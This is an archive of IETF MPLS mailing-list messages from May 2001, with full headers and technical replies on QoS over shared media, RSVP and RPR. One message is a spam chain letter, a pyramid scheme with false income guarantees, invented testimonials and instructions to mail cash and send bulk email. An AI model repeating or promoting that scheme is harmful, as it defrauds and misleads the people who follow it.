>   delay and delay variation control parameters like ATM?"

Ah, yes, MPLS as ATM-done-over... It's a common thread these days.

I don't think the RSVP developers were trying to imitate ATM; they were 
addressing specific requirements imposed by the applications they were 
looking at, and figured that other control paradigms could be put together 
if needed. And by the way, they were not trying to address the routing 
issue, which would have been necessary to define routes for traffic that 
ensured specific end to end delays. They are trying to control variance in 
delay, not end to end delay, and they disputed the concept that microsecond 
variance controls were necessary to an application whose codecs defined 
tens-to-hundreds-of-millisecond jitter buffers.

If you want to go into he history of Integrated Services, or of RSVP, 
further, I would suggest that we take the discussion private, or move it to 
the issll list, as it is off-topic here.



From owner-mpls@UU.NET  Fri May  4 15:07:40 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA19356
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 15:07:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknpc18606;
	Fri, 4 May 2001 19:05:48 GMT
Received: by mail-control.mail.uu.net 
	id QQknpc14005
	for mpls-outgoing; Fri, 4 May 2001 19:05:13 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknpc13292
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 19:04:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknpc23329
	for <mpls@uu.net>; Fri, 4 May 2001 19:03:58 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknpc29845
	for <mpls@uu.net>; Fri, 4 May 2001 19:03:58 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id PAA00237 for mpls@uu.net; Fri, 4 May 2001 15:03:57 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknpc10335
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 19:03:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknpc15749
	for <mpls@UU.NET>; Fri, 4 May 2001 19:01:02 GMT
Received: from lohi.eng.telia.fi by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: lohi.eng.telia.fi [195.10.149.18])
	id QQknpc12789
	for <mpls@UU.NET>; Fri, 4 May 2001 19:01:01 GMT
Received: (from jh@localhost)
	by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id f44J0eN18559;
	Fri, 4 May 2001 22:00:40 +0300
From: Juha Heinanen <jh@lohi.eng.telia.fi>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15090.64600.180853.33136@lohi.eng.telia.fi>
Date: Fri, 4 May 2001 22:00:40 +0300 (EEST)
To: "HANSEN CHAN" <hansen.chan@alcatel.com>
Cc: Fred Baker <fred@cisco.com>, "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>,
        "'te-wg@ops.ietf.org'" <te-wg@ops.ietf.org>
Subject: Re: QoS in Shared Media
In-Reply-To: <3AF2EEAB.7C913846@alcatel.com>
References: <5.0.2.1.2.20010504104439.02e2ea40@mira-sjcm-2.cisco.com>
	<3AF2EEAB.7C913846@alcatel.com>
X-Mailer: VM 6.75 under Emacs 19.34.1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

HANSEN CHAN writes:

 > How about the work in IEEE 802.17 RPR? I believe it will be a shared-media
 > technology. Does that mean they will have a hard time to achieve QoS
 > guarantees?

last time that i checked, the rpr proposal (based on cisco dpt) had two
classes of service (strict priority and best effort). that is clearly
not adequate for diffserv.  node based fairness applied to the best
effort class.  in diffserv, node based fairness makes sense only for the
highest dp packets in each traffic class.

-- juha



From owner-mpls@UU.NET  Fri May  4 15:16:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA19466
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 15:16:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknpd21342;
	Fri, 4 May 2001 19:15:15 GMT
Received: by mail-control.mail.uu.net 
	id QQknpc25176
	for mpls-outgoing; Fri, 4 May 2001 19:14:39 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknpc25136
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 19:14:21 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknpc24533
	for <mpls@UU.NET>; Fri, 4 May 2001 19:14:14 GMT
Received: from mta7.pltn13.pbi.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mta7.pltn13.pbi.net [64.164.98.8])
	id QQknpc17270
	for <mpls@UU.NET>; Fri, 4 May 2001 19:14:09 GMT
Received: from pacbell.net ([63.204.7.110])
 by mta7.pltn13.pbi.net (Sun Internet Mail Server
 sims.3.5.2000.03.23.18.03.p10) with ESMTP id
 <0GCT00FO2QKZP4@mta7.pltn13.pbi.net> for mpls@UU.NET; Fri,
 4 May 2001 11:41:23 -0700 (PDT)
Date: Fri, 04 May 2001 11:50:08 -0700
From: Vinay Bannai <bannai@pacbell.net>
Subject: Re: QoS in Shared Media
To: HANSEN CHAN <hansen.chan@alcatel.com>
Cc: Jay Wang <jwang@opixnetworks.com>,
        David Charlap <david.charlap@marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>,
        "Naidu, Venkata" <Venkata.Naidu@marconi.com>
Reply-to: bannai@pacbell.net
Message-id: <3AF2F9E0.B25DB555@pacbell.net>
MIME-version: 1.0
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20smp i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en
References: <NEBBKNOANMBIAAGAOBILKEMOCBAA.jwang@opixnetworks.com>
 <3AF2F30D.30F9838A@alcatel.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

HANSEN CHAN wrote:

> > In fact if the transmission infrastructure of the shared media has the
> > intelligence or capability built in to coordinate the admission of traffic
> > into the shared media, it makes the life of QoS at higher level easier. The
> > RPR(IEEE 802.17) is apparently marching toward this direction.  At least,
> > Cisco's DPT/SRP-fa (cisco's version of RPR) ensures global bandwidth
> > fairness
> > for all nodes on the same ring from what I know.
>
> I really would like to understand how RPR or DPT can ensure global bandwidth
> fairness. Any link or pointer?
>
> Thanks,
> Hansen

The discussions in IEEE 802.17 are still continuing and there are vaired
solutions that have been proposed. The fundamental premise is at each node in
the RPR ring, based on some bits in the header the add and pass traffic are
scheduled based on the QoS bits set in the header. Also within a RPR capable box
or a line card, the traffic is scheduled on to the ring based on QoS.

Vinay




From owner-mpls@UU.NET  Fri May  4 17:34:38 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA21219
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 17:34:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknpm08517;
	Fri, 4 May 2001 21:32:45 GMT
Received: by mail-control.mail.uu.net 
	id QQknpm18655
	for mpls-outgoing; Fri, 4 May 2001 21:32:12 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknpm18648
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 21:32:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknpm23873
	for <mpls@uu.net>; Fri, 4 May 2001 21:31:57 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknpm26147
	for <mpls@uu.net>; Fri, 4 May 2001 21:31:56 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id RAA09248 for mpls@uu.net; Fri, 4 May 2001 17:31:56 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknpm18501
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 21:31:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknpm17622
	for <mpls@uu.net>; Fri, 4 May 2001 21:31:02 GMT
Received: from sjc3-1.relay.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sjc3-1.relay.mail.uu.net [199.171.54.122])
	id QQknpm24665
	for <mpls@uu.net>; Fri, 4 May 2001 21:31:01 GMT
Received: from mail.uu.net by sjc3sosrv11.alter.net with SMTP 
	(peer crosschecked as: [64.5.243.230])
	id QQknpm07517
	for <mpls@uu.net>; Fri, 4 May 2001 21:31:00 GMT
Message-Id: <QQknpm07517.200105042131@sjc3sosrv11.alter.net>
From: Paul.Risman@UU.NET
Date: Fri, 04 May 2001 17:29:56
To: mpls@UU.NET
Subject: Please read the following it could change your life
MIME-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

If you have any questions of the legality of this program,
contact the Office of Associate Director for Marketing
Practices, Federal Trade Commission, Bureau of Consumer
Protection, Washington, D.C.
////////////////////////////////////////////////////////////
ONE TIME MAILING, NO NEED TO REMOVE
////////////////////////////////////////////////////////////
This message is sent in compliance of the proposed bill
SECTION 301. per Section 301, Paragraph (a)(2)(C) of S.
1618. This message is not intended for residents in the
State of Washington, screening of addresses has been done to
the best of our technical ability.

Subject: Five Is The Key To My Freedom, It Could Be Yours Too.


AS SEEN ON NATIONAL TV:
Making over half million dollars every 4 to 5 months from your home for
an investment of only $25 U.S. Dollars expense one time
THANK'S TO THE COMPUTER AGE AND THE INTERNET !
==================================================
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!!
Before you say ''Bull'', please read the following. This is the letter you
have been hearing about on the news lately. Due to the popularity of
this letter on the Internet, a national weekly news program recently devoted
an entire show to the investigation of this program described below, to see
if it really can make people money. The show also investigated whether or
not the program was legal.
Their findings proved once and for all that there are ''absolutely NO Laws
prohibiting the participation in the program and if people can -follow the
simple instructions, they are bound to make some mega bucks with only
$25 out of pocket cost''. DUE TO THE RECENT INCREASE OF
POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED,
IT IS CURRENTLY WORKING BETTER THAN EVER.
This is what one had to say: ''Thanks to this profitable opportunity. I
was approached many times before but each time I passed on it. I am
so gladI finally joined just to see what one could expect in return for the
minimal effort and money required. To my astonishment, I received total $
610,470.00 in 21 weeks, with money still coming in."
Pam Hedland, Fort Lee, New Jersey.
===================================================
Here is another testimonial: "This program has been around for a long
time but I never believed in it. But one day when I received this again
in the mail I decided to gamble my $25 on it. I followed the simple
instructions and walaa ..... 3 weeks later the money started to come in.
First month I only made $240.00 but the next 2 months after that I made
a total of $290,000.00. So far, in the past 8 months by re-entering the
program, I have made over $710,000.00 and I am playing it again. The
key to success in this program is to follow the simple steps and NOT change
anything.'' More testimonials later but first,
===== PRINT THIS NOW FOR YOUR FUTUREREFERENCE ======
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5 months easily and
comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL
DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS:
=====Order all 5 reports shown on the list below =====
For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT
YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose
name appears ON THAT LIST next to the report. Preferably use a word
processor to type legibly these details and print on your printer. MAKE SURE
YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER 
in case of any mail problems.
=== When you place your order, make sure you order each of the 5 reports.
You will need all 5 reports so that you can save them on your computer
and resell them. YOUR TOTAL COST $5 X 5=$25.00.
Within a few days you will receive, vie e-mail, each of the 5 reports from
these 5 different individuals. Save them on your computer so they will be
accessible for you to send to the 1,000's of people who will order them
from you. Also make a floppy of these reports and keep it on your desk in
case something happen to your computer.
IMPORTANT - DO NOT alter the names of the people who are listed next
to each report, or their sequence on the list, in any way other than what is
instructed below in step '' 1 through 6 '' or you will loose out on majority
of your profits. Once you understand the way this works, you will also see
how it does not work if you change it. Remember, this method has been
tested, and if you alter, it will NOT work !!! People have tried to put their
friends/relatives names on all five thinking they could get all the money.
But it does not work this way. Believe us, we all have tried to be greedy and
then nothing happened. So Do Not try to change anything other than what is
instructed. Because if you do, it will not work for you.
Remember, honesty reaps the reward!!!

1.... After you have ordered all 5 reports, take this advertisement and
REMOVE the name & address of the person in REPORT # 5. This person
has made it through the cycle and is no doubt counting their fortune.
2.... Move the name & address in REPORT # 4 down TO REPORT # 5.
3.... Move the name & address in REPORT # 3 down TO REPORT # 4.
4.... Move the name & address in REPORT # 2 down TO REPORT # 3.
5.... Move the name & address in REPORT # 1 down TO REPORT # 2
6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE
SURE you copy every name & address ACCURATELY!
==========================================================
**** Take this entire letter, with the modified list of names, and save it on your
computer. DO NOT MAKE ANY OTHER CHANGES.
Save this on a disk as well just in case if you loose any data. To assist you with
marketing your business on the internet, the 5 reports you purchase will provide
you with invaluable marketing information which includes how to send bulk
e-mails legally, where to find thousands of free classified ads and much more.
There are 2 Primary methods to get this venture going:

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY
==========================================================
Let's say that you decide to start small, just to see how it goes, and we will
assume You and those involved send out only 5,000 e-mails each. Let's
also assume that the mailing receive only a 0.2% response (the response
could be much better but lets just say it is only 0.2%. Also many people
will send out hundreds of thousands e-mails instead of only 5,000 each).
Continuing with this example, you send out only 5,000 e-mails. With a 0.2%
response, that is only 10 orders for report # 1. Those 10 people responded
by sending out 5,000 e-mail each for a total of 50,000. Out of those 50,000
e-mails only 0.2% responded with orders. That's=100 people responded and
ordered Report # 2.
Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails.
The 0.2% response to that is 1000 orders for Report # 3.
Those 1000 people send out 5,000 e-mails each for a total of 5 million e-mails
sent out. The 0.2% response to that is 10,000 orders for Report # 4.
Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000
(50 million) e-mails. The 0.2% response to that is 100,000 orders for Report
# 5 THAT'S 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half million).
Your total income in this example is: 1..... $50 + 2..... $500 + 3..... $5,000 + 4
.. $50,000 + 5..... $500,000 ........ Grand Total=$555,550.00
NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGUREOUT
THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU
CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY !
=========================================================
REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF 5,000 YOU MAILED TO.
Dare to think for a moment what would happen if everyone or half or even
one 4th of those people mailed 100,000e-mails each or more? There are
over 150 million people on the Internet worldwide and counting. Believe me,
many people will do just that, and more!
METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET
=======================================================
Advertising on the net is very very inexpensive and there are hundreds
of FREE places to advertise. Placing a lot of free ads on the Internet will
easily get a larger response. We strongly suggest you start with Method # 1
and dd METHOD # 2 as you go along. For every $5 you receive, all you
must do is e-mail them the Report they ordered. That's it. Always provide
same day service on all orders.
This will guarantee that the e-mail they send out, with your name and
address on it, will be prompt because they can not advertise until they
receivethe report.
=========== AVAILABLE REPORTS ====================
ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes:
Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT
accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets
of paper. On one of those sheets of paper, Write the NUMBER & the NAME
of the Report you are ordering, YOUR E-MAIL ADDRESS and your name
and postal address. Preferably use a word processor and your printer to do this.

=================================================
PLACE YOUR ORDER FOR THESE REPORTS NOW :
============================================================
REPORT # 1: 'The Insider's Guide to Advertising for Free on the Net
Order Report #1 from:
Paul J. Risman
P.O. Box 368
Tweed Ontario K0K 3J0
Canada
_____________________________________________________________
REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net
Order Report # 2 from:

PDP
P.O. BOX 80572
185 10 PIRAEUS
GREECE
____________________________________________________
REPORT # 3: Secret to Multilevel marketing on the net
Order Report # 3 from:

S.S.
32 Cross Street
San Francisco, CA 94112
USA
________________________________________________________________
REPORT # 4: How to become a millionaire utilizing MLM& the Net
Order Report # 4 from:

Ada Ario
50 First Street, Suite I
San Francisco, CA 94105
USA
________________________________________________________________
REPORT #5: How to send out 0ne Million emails for free
Order Report # 5 From:

Art Ano
146 McAllister Street,#103
San Francisco, CA 94102
USA
==========================================================
____________________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$
Follow these guidelines to guarantee your success:
=== If you do not receive at least 10 orders for Report #1 within 2
weeks, continue sending e-mails until you do.
=== After you have received 10 orders, 2 to 3 weeks after that you
should receive 100 orders or more for REPORT # 2. If you did not,
continue advertising or sending e-mails until you do.
=== Once you have received 100 or more orders for Report # 2, YOU
CAN RELAX, because the system is already working for you, and the
cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in front
of a Different report.
You can KEEP TRACK of your PROGRESS by watching which report
people are ordering from you. IF YOU WANT TO GENERATE MORE
INCOME SEND ANOTHER BATCH OF E-MAILS AND START
THE WHOLE PROCESS AGAIN.
There is NO LIMIT to the income you can generate from this business !!!
======================================================
FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM: You have just received information that can give you
financial freedom for the rest of your life, with NO RISK and JUST
A LITTLE BIT OF EFFORT. You can make more money in the next
few weeks and months than you have ever imagined. Follow the program
EXACTLY AS INSTRUCTED. Do Not change it in any way. It works
exceedingly well as it is now.
Remember to e-mail a copy of this exciting report after you have put
your name and address in Report #1 and moved others to #2 ...........# 5
as instructed above. One of the people you send this to may send out
100,000 or more e-mails and your name will be on every one of them.
Remember though, the more you send out the more potential customers
you will reach.
So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent. IT IS UP TO YOU NOW !
============ MORE TESTIMONIALS ================
"My name is Mitchell. My wife, Jody and I live in Chicago. I am an
accountant with a major U.S. Corporation and I make pretty good money.
When I received this program I grumbled to Jodyaboutreceiving ''junk
mail''. I made fun of the whole thing,spoutingmy knowledge of the population
and percentages involved. I ''knew'' it wouldn't work. Jody totally ignored
my supposed intelligence and few days later she jumped in with both feet. I
made merciless fun of her, and was ready to lay the old ''I told you so'' on
her when the thing didn't work. Well, the laugh was on me! Within 3 weeks
she had received 50 responses. Within the next 45 days she had received
total $ 147,200.00 ........... all cash! I was shocked. I have joined Jody
in her ''hobby''.
Mitchell Wolf M.D., Chicago, Illinois
======================================================
''Not being the gambling type, it took me several weeks to make up my
mind to participate in this plan. But conservative that I am, I decided that
the initial investment was so little that there was just no way that I
wouldn't get enough orders to at least get my money back''. '' I was
surprised when I found my medium size post office box crammed with
orders. I made $319,210.00in the first 12 weeks. The nice thing about
this deal is that it does not matter where people live. There simply isn't a
better investment with a faster return and so big."
Dan Sondstrom, Alberta, Canada
=======================================================
''I had received this program before. I deleted it, but later I wondered
if I should have given it a try. Of course, I had no idea who to contact to
get another copy, so I had to wait until I was e-mailed again by someone
else.........11 months passed then it luckily came again...... I did not
delete this one! I made more than $490,000 on my first try and all the
money came within 22 weeks."
Susan De Suza, New York, N.Y.
=======================================================
''It really is a great opportunity to make relatively easy money with
little cost to you. I followed the simple instructions carefully and
within 10 days the money started to come in. My first month I made
$20,560.00 and by the end of third month my total cash count was
$362,840.00. Life is beautiful, Thanx to internet.".
Fred Dellaca, Westport, New Zealand
=======================================================
ORDER YOUR REPORTS TODAY AND GET STARTED ON
'YOUR' ROAD TO FINANCIAL FREEDOM !
=======================================================
If you have any questions of the legality of this program, contact the
Office of Associate Director for Marketing Practices, Federal Trade
Commission, Bureau of Consumer Protection, Washington, D.C.





From owner-mpls@UU.NET  Fri May  4 18:45:48 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA21884
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 18:45:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknpq16317;
	Fri, 4 May 2001 22:43:44 GMT
Received: by mail-control.mail.uu.net 
	id QQknpq16244
	for mpls-outgoing; Fri, 4 May 2001 22:43:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknpq16224
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 22:42:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknpq24161
	for <mpls@uu.net>; Fri, 4 May 2001 22:42:41 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88])
	id QQknpq17342
	for <mpls@uu.net>; Fri, 4 May 2001 22:42:40 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f44Mh7a25776
	for <mpls@uu.net>; Fri, 4 May 2001 15:43:07 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id SAA12639 for mpls@uu.net; Fri, 4 May 2001 18:42:39 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknot10309
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 16:48:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknot22125
	for <mpls@uu.net>; Fri, 4 May 2001 16:48:41 GMT
Received: from msmailhub.ou.edu by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: msmailhub.oulan.ou.edu [129.15.87.16])
	id QQknot20297
	for <mpls@uu.net>; Fri, 4 May 2001 16:48:40 GMT
Received: by msmailhub.oulan.ou.edu with Internet Mail Service (5.5.2650.21)
	id <JQ0RY42P>; Fri, 4 May 2001 11:48:35 -0500
Message-ID: <372E9068C013D211891F00805F9FD1C207569D02@mail3.oulan.ou.edu>
From: "Atiquzzaman, Mohammed" <atiq@ou.edu>
To: "'Naidu, Venkata'" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'"
	 <mpls@UU.NET>
Cc: "'te-wg@ops.ietf.org'" <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
Date: Fri, 4 May 2001 11:48:30 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA21884

You might want to look at the 802.1D standard for MAC bridges which provides
user priority in MAC frames?

Regards
Mohammed Atiquzzaman           Tel:   (405) 325 8077
School of Computer Science     Fax:   (520) 962 8422, 
University of Oklahoma                (405) 325 4044
200 Felgar St., Room EL-154    Email: atiq@ou.edu
Norman, OK 73019-6151                 atiq@ieee.org
www.cs.ou.edu/~atiq

> -----Original Message-----
> From: Naidu, Venkata [mailto:Venkata.Naidu@Marconi.com]
> Sent: Friday, May 04, 2001 9:59 AM
> To: 'mpls@uu.net'
> Cc: 'te-wg@ops.ietf.org'
> Subject: QoS in Shared Media
> 
> 
> Hi All
> 
>   I have a doubt regarding "QoS in Shared Media".  I don't 
>   know how much this is applicable to this discussion list :-)
> 
>   But anyway, I am hearing about 40/10(OC768) Gig Ethernet 
>   evolution. If not at the core, these technologies may be
>   at the enterprise/access networks(?).
> 
>   Moreover, The QoS issue is especially interesting over
>   wireless access networks as they are likely to be bottlenecks 
>   (compared to wireline links) and they are often shared
>   media (e.g., wire­ less LANs). Providing service 
>   differentiation on shared media  is  difficult  due  to
>   the risk of collisions between packets of different priority.
> 
>   * So, first, Is MPLS useful/applicable to these technologies?
> 
>   * If so, how the present singling protocols (RSVP/CR-LDP) or
>     diffserv TE extended protocols will take care of this?
>     As far as I know, classical RSVP is designed for such goals
>     and ofcourse, present IP routing protocols also runs
>     on such shared media, P2P and NBMA environments.
> 
>   * In a simple environment Ethernet -> ATM/NBMA -> Ethernet
>     How resource reservation takes place and is there something
>     more the present signaling/routing protocols need to do
>     for QoS guaranties.
>  
>   I didn't find anything useful in TE-WG drafts!
>   Is that I am missing something?
> 
> Thanks & Regards
> --Venkata Naidu
> 



From owner-mpls@UU.NET  Fri May  4 18:48:12 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA21922
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 18:48:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknpr05910;
	Fri, 4 May 2001 22:45:09 GMT
Received: by mail-control.mail.uu.net 
	id QQknpq16379
	for mpls-outgoing; Fri, 4 May 2001 22:44:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknpq16310
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 22:44:02 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknpq09426
	for <mpls@uu.net>; Fri, 4 May 2001 22:42:44 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQknpq17395
	for <mpls@uu.net>; Fri, 4 May 2001 22:42:42 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f44Mggn20326
	for <mpls@uu.net>; Fri, 4 May 2001 15:42:42 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id SAA12643 for mpls@uu.net; Fri, 4 May 2001 18:42:41 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknoz29527
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:23:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknoz10978
	for <mpls@UU.NET>; Fri, 4 May 2001 18:18:49 GMT
Received: from nfl.METERA.COM by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: nfl.metera.com [63.114.212.50])
	id QQknoz09518
	for <mpls@UU.NET>; Fri, 4 May 2001 18:18:49 GMT
Received: by nfl.METERA.COM with Internet Mail Service (5.5.2653.19)
	id <J452XT7J>; Fri, 4 May 2001 13:19:31 -0500
Message-ID: <BBF7BEABF35F3D4F863406A7830A4A8A5414D6@nfl.METERA.COM>
From: Badri Devalla <Badri.Devalla@metera.com>
